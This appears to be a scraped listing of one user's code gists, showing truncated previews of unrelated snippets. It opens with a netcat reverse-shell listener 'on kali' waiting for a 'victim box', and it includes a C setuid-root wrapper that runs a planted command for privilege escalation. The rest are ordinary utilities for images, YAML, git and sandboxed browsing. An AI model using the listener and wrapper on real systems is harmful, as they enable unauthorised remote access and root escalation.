# on kali
nc -vlnp 5555
## wait for the reverse shell prompt to initiate
# on victim box
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import os | |
import argparse | |
import cv2 # pip3 install opencv-python | |
# Construct the argument parser and parse the arguments | |
ap = argparse.ArgumentParser() | |
ap.add_argument("-e", "--extension", required=False, default='png', help="extension name. default is 'png'.") | |
ap.add_argument("-i", "--input", required=False, default='./', help="input directory") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import yaml | |
import sys | |
import json | |
OUT=open('output.yaml','w') | |
IN=open(sys.argv[1], 'r') | |
JSON = json.load(IN) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# 1-10 second random sleep/pause in the script | |
sleep $[ ( $RANDOM % 10 ) + 1 ]s | |
# even shorter sleep | |
sleep .$[ ( $RANDOM % 10 ) + 1 ]s | |
sleep .0$[ ( $RANDOM % 10 ) + 1 ]s |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ref: https://stackoverflow.com/questions/10622179/how-to-find-identify-large-commits-in-git-history | |
git rev-list --objects --all | | |
git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' | | |
sed -n 's/^blob //p' | | |
sort --numeric-sort --key=2 | | |
cut -c 1-12,41- | | |
$(command -v gnumfmt || echo numfmt) --field=2 --to=iec-i --suffix=B --padding=7 --round=nearest |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
void main() { | |
setuid(0); | |
setgid(0); | |
system("dirtyshellcmd"); /* create file dirtyshellcmd with shell command and make it available in $PATH */ | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# fork repo | |
# clone forked repo | |
# add upstram | |
git remote add upstream {{upstram_url}} | |
git remote -v # to verify | |
# regular sync afterwards | |
git fetch upstream | |
git checkout main | |
git merge upstream/main |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function safefox { | |
/usr/bin/firejail --private --apparmor \ | |
firefox --new-instance --no-remote --safe-mode --private-window $1 | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
services: | |
localstack: | |
container_name: "${LOCALSTACK_DOCKER_NAME:-localstack-main}" | |
image: localstack/localstack:3-amd64 # TODO: change this if necessary | |
ports: | |
- "127.0.0.1:4566:4566" # LocalStack Gateway, bound to localhost only | |
environment: | |
- DEBUG=${DEBUG:-0} | |
# Add secure credentials | |
- AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID:-LSACCESSKEY123} |